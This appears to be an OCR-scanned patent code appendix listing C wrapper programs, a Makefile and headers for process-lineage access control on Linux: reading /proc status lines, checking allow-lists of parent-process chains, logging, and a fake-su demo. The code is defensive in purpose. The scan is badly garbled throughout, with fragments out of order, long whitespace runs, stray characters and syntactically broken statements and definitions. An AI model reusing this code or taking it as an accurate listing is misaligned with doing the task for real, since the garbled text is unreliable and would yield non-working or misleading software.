                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      return(0);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            fclose(pstats);free(statline);free(stat);free(label);free(ppid);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    void itoa(int n, char s[])
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               infobuf[i] = (char) NULL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               {int i, getdata;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           int getlabel(char *procline, char *infobuf)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         /* Extract data from proc */
                                                                                                                                      for (i = 0, j = strlen(s) - 1; i < j; i++, {c = s[i];s[i] = s[j];s[j] = c;}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       (int i, sign;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       return
                                                                                 // # File Makefile
                                                                                                                                                                                                                          void reverse(char s[])
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       /* From K&R page 64 (see wrapper.h for details)
                                                                                                                                                                                         (int c, i, j;
                                                                                                                                                                                                                                                                             /* From K&R page 62 (see wrapper.h for details)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 * Converts an int n to a string, puts the results in
                                                                                                                                                                                                                                                                                                                                                                                                                      do \{s[i++] = n \% 10 + '0';\} while \{(n \neq 10) >
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        infobuf: array to put the data in*/
                                                                                                                                                                                                                                                                                                                                                                 s[i] = ' (0');
                                                                                                                                                                                                                                                                                                                                                                                             if (sign < 0) {s[i++] = '-';}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                           if ((sign = n) < 0) (n = -n;)
                                                                                                                                    \{c = s[i]; s[i] = s[j]; s[j]\}
                                                                                                                                                                                                                                                Reverses the order of the characters in s.
                                                                                                                                                                                                                                                                                                                                    reverse(s);
                                                                                                                                                                                                                                                                                                                                                                                                                                                       i = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                procline: a line of the file /proc/(pid)/status
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Extracts the label and from a line of file in proc. Lines are of the form:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             else
wrapPLACD wrapD wrapBrain
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    (if (getdata)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "Label:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              else if (! isspace(procline[i]))
                                                  wrapnull wraplog wrapIPC wrapNPS wrapSSH wrapPLlog wrapPL wrapAC
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     [if (logspaces && (procline[i] != '\n'))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         if (procline[i] == ':') (getdata =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         (infobuf[j] = procline[i];j++;)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         infobuf[j] = procline[i];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      (logspaces = 1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   the status
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               1;)
                                                                                                                                                                                                                                                                                                                                                                                                                        0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   ÿ
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    clean:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          wraplog: wrapper.h wraplog.c log.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 wrapnull:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          fresh:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wrapPLACD:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             wrapPL:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       wrapSSH: wrapper.h wrapSSH.c AC.c AC.h
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               wrapNPS: NPSwrap.h wrapNPS.c log.c AC.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wrapIPC: wrapper.h ../brains/IPCtest.c wrapIPC.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              wrapD:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wrapBrain:
                          char pathname(MAXPATHLEN);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     #define MAXLINELEN 500
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        #define WRAPPER */root/wrap
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   // # File NPSwrap.h
  int getpathname(char *program)
                                                       #define MAXPATHLEN 1024
                                                                                   // # File pathname.c
                                                                                                                                  /* Taken from *The C Programming
                                                                                                                                                                   int is_allowed(char *filename);
                                                                                                                                                                                             /* Access control functions */
                                                                                                                                                                                                                                                       #define DEPTH_THRESH 16
                                                                                                                                                                                                                                                                                   /* Access control variables
                                                                                                                                                                                                                                                                                                       #define FAKE_SU "/root/su"
                                                                                                                                                                                                                                                                                                                                           #define SU_FILE "/tmp/sucount"
                                                                                                                                                                                                                                                                                                                                                                   #define SU "/bin/su"
                                                                                                                                                                                                                                                                                                                                                                                                  #define DEMO 0 /* If DEMO =
                                                                                                                                                                                                                                                                                                                                                                                                                          // For the su demo
                                                                                                                                                                                                                                                                                                                                                                                                                                                       #define ZERO "0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 #define PPID "PPid"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              #define MAXLABELLEN
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        #define MAXINFOLEN 100
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                #define MAXPIDDIGITS 10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        define STATUS "/status"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     define PROC "/proc/"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               // For tracking process lineage
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              define LOG_FILE "/root/wraplog.csv"
                                                                                                         Pages 62 and 64 of the second
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    gcc -Wall -o wrapNPS wrapNPS.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    gcc -Wall -o wrapnull wrapnull.c
                                                                                                                                                                                                                          Executable names */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            gcc -Wall -o wrapPLACD wrapPLACD.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   gcc -Wall -o wrapPL wrapPL.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        gcc -Wall -o wrapPLlog wrapPLlog.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               gcc -Wall -o wrapSSH wrapSSH.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             cd ../brains; make brain
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      gcc -Wall -o wrapBrain wrapBrain.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               gcc -Wall -o wrapIPC wrapIPC.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          gcc -Wall -o IPCtest ../brains/IPCtest.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 gcc -Wall -o wrapD wrapD.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               gcc -Wall -o wraplog wraplog.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             rm -f nullwrap logwrap IPCwrap NPSwrap SSHwrap
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       touch *.[ch]
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          -Wall -o wrapAC wrapAC.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           wrapper.h wrapPL.c PL.c PLAC.c PLAC.h pathname.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     wrapper.h wrapAC.c PL.c AC.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         wrapper.h wrapD.c PL.c D.c D.h
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wrapper.h wrapPLACD.c AC.c PL.c PLAC.c PLAC.h pathname
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wrapper.h wrapPLlog.c PL.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wrapper.h ../brains/IPCtest.c wrapBrain.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 wrapper.h wrapnull.c
                                                                                                                                                                                                                                                                                                                                                                                                ۲,
                                                                                                                                                                                                                                                                                                                                                                                                  E E
                                                                                                            edition*/
                                                                                                                                Language*
                                                                                                                                                                                                                                                                                                                                                                                                  the su
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       AC.h
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  pathname.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   AC
                                                                                                                                                                                                                                                                                                                                                                                                  demo
                                                                                                                                      λ
                                                                                                                                      Kernighan & Ritchie
                                                                                                                                                                                                                                                                                                                                                                                                  *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           'n
```

```
Program Code Listing Appendix (Paper Duplicate of Compact Disc File Cohen_et_al.txt)
    "/bin/bash;wrap;xterm;blackbox;xinit;startx;bash;init",
                                       char *PLALLOWED[] =
                                                                                                                                      echo
                                                                                                                                                                    grep
                                                                                                                                                                                                    echo
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         else 0 */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         else { /* Child */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   close(pipefd[1]);]
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if (0 != pipe(pipefd)) {return PIPEERR;}
if (0 != (pid = fork())) /* Parent or fa
                                                                                                                                                                                                                                                                                                                                now */
                                                                                                                                                                                                                                                                                                                                                                                       if (getpid() < SYSPROCTHRESH) return(1);</pre>
                                                                                                                                                                                                                                                                                                                                                                                                                          strlen(filename))) return(1);]
                                                                                                                                                                                                                                                                                                                                                                                                                                                   for (i = 0; PLALLOWED[i]; i++) (if (! strncmp(filename,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   int PLallowed(char *filename)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 return(0);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           int waitstat;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            int pipefd(2);
                                                                                                                                                                                                                                                                                                                                                              forgive'them for
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               /* Runs through list of allowed programs: 1 if 'filename'
                                                                                                                                                                                                                                                                                                return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  include "PLAC.h"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Process Lineage Access Control
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   # File PLAC.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               if (i == -1) (if (0 == getcwd(dirname, MAXPATHLEN)) { exit(1); }}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          close(pipefd[1]);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      strncat (dirname,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      strncat (dirname,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     for (i = strlen(program); i >=
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           close(pipefd[0]);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         char dirname[MAXPATHLEN];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       else
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           (0 != (pid = fork())) /* Parent or failed */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               exit(0);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        write(pipefd[1],
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        (if (pid < 0) { close(pipefd[0]); close(pipefd[1]); return FORKERR;</pre>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       pid;
                                                                        File PLAC.h
                                                                                                                                                               '^/' | sort | noreps.pl
                                                                                                                                      '"/sbin/init"'
                                                                                                                                                                                                                                  File PLACextract
                                                                                                                                                                                                 'char *PLALLOWED[] =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              (WEXITSTATUS(waitstat) == 0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          (waitpid(pid, &waitstat, 0) != pid) {return WAITERR;}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          {if (program[i] == '/')
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         {read(pipefd[0], &pathname, MAXPATHLEN);close(pipefd[0]);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (close(pipefd[0]); close(pipefd[1]); return GETWDERR;)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            if (0 != chdir(program)) { exit(1); }
if (0 == getcwd(dirname, MAXPATHLEN)) { exit(1); }
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          {program[i] = '\0';
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "/", 1);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           &dirname,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      & (program[i+1]), MAXPATHLEN);
                                                                                                                                                                 | while
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      strlen(dirname)+1);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     *
                                                                                                                                                                    read
                                                                                                                                                                 а
(1
                                                                                                                                                                                                                                                                                                                                                                                     /* system processes...
                                                                                                                                                                 do echo "\"$a\","; done
                                                                                                                                                                                                                                                                                                                                                                                                                                                     PLALLOWED[i],
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               on list,
                                                                                                                                                                                                                                                                                                                                                                                          ĕ
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     "/bin/less;wrap;bash;xterm;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          mkcert;sh;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                mkcert;sh;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "/bin/grep;wrap;ifup-post;sh;blackbox;xinit;startx;bash;init",
post;sh;blackbox;xinit;startx;bash;init"
                                                                                                                              "/bin/sed;wrap;WGnpulse.sh;blackbox;xinit;startx;bash;init"
                                                                                                                                                                                                                                                        "/bin/rm;wrap;WGnpulse.sh;blackbox;xinit;startx;bash;init"
                                                                                                                                                                                                                                                                                                                                                    "/bin/mv;wrap;WGnpulse.sh;blackbox;xinit;startx;bash;init"
                                                                                                                                                                                                                                                                                                                                                                                                                                              adduser;sh;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 "/bin/mkdir;wrap;nessus-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "/bin/ls;wrap;bash;xterm;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "/bin/id;wrap;nessus-mkcert;nessus-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         adduser;sh;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         "/bin/id;wrap;nessus-adduser;nessus-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   "/bin/hostname;wrap;nessus-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "/bin/hostname;wrap;ifup-post;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               "/bin/hostname;wrap;bash;bash;xterm;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             "/bin/grep;wrap;sh;blackbox;xinit;startx;bash;init"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "/bin/grep;wrap;ifup;ifup;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       "/bin/grep;wrap;bash;xterm;blackbox;xinit;startx;bash;init"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   "/bin/dircolors;wrap;bash;bash;xterm;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "/bin/df;wrap;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 "/bin/df;wrap;ptadmin.pl;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               "/bin/df;wrap;bash;xterm;blackbox;xinit;startx;bash;init"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           "/bin/cp;wrap;nessus-adduser;sh;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             "/bin/cp;wrap;WGnpulse.sh;blackbox;xinit;startx;bash;init"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         adduser;sh;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               "/bin/cat;wrap;nessus-adduser;sh;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                          "/bin/rm;wrap;nessus-mkcert;sh;sh;blackbox;xinit;startx;bash;init"
                                                                                                                                                                                        //bin/rm;wrap;nessus-adduser;sh;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                        /"/bin/rm;wrap;ifup-post;ifup-post;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                         "/bin/ps;wrap;ptadmin.pl;blackbox;xinit;startx;bash;init"
                                                                                                                                                                                                                                                                                                                                                                                     "/bin/mkdir;wrap;sh;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                  "/bin/mkdir;wrap;nessus-mkcert;sh;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "/bin/mkdir;wrap;WGnpulse.sh;blackbox;xinit;startx;bash;init"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    '/bin/id;wrap;bash;bash;xterm;blackbox;xinit;startx;bash;init"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  '/bin/hostname;wrap;ptadmin.pl;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   '/bin/hostname;wrap;ifup;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           '/bin/grep;wrap;ifup;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       '/bin/grep;wrap;bash;bash;xterm;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     '/bin/egrep;wrap;nessus-mkcert;sh;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   '/bin/df;wrap;sysviuw.pl;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               '/bin/cp;wrap;sh;sh;blackbox;xinit;startx;bash;init"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           '/bin/chown;wrap;WGnpulse.sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         '/bin/chmod;wrap;nessus-mkcert;sh;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        '/bin/chmod;wrap;WGnpulse.sh;blackbox;xinit;startx;bash;init"
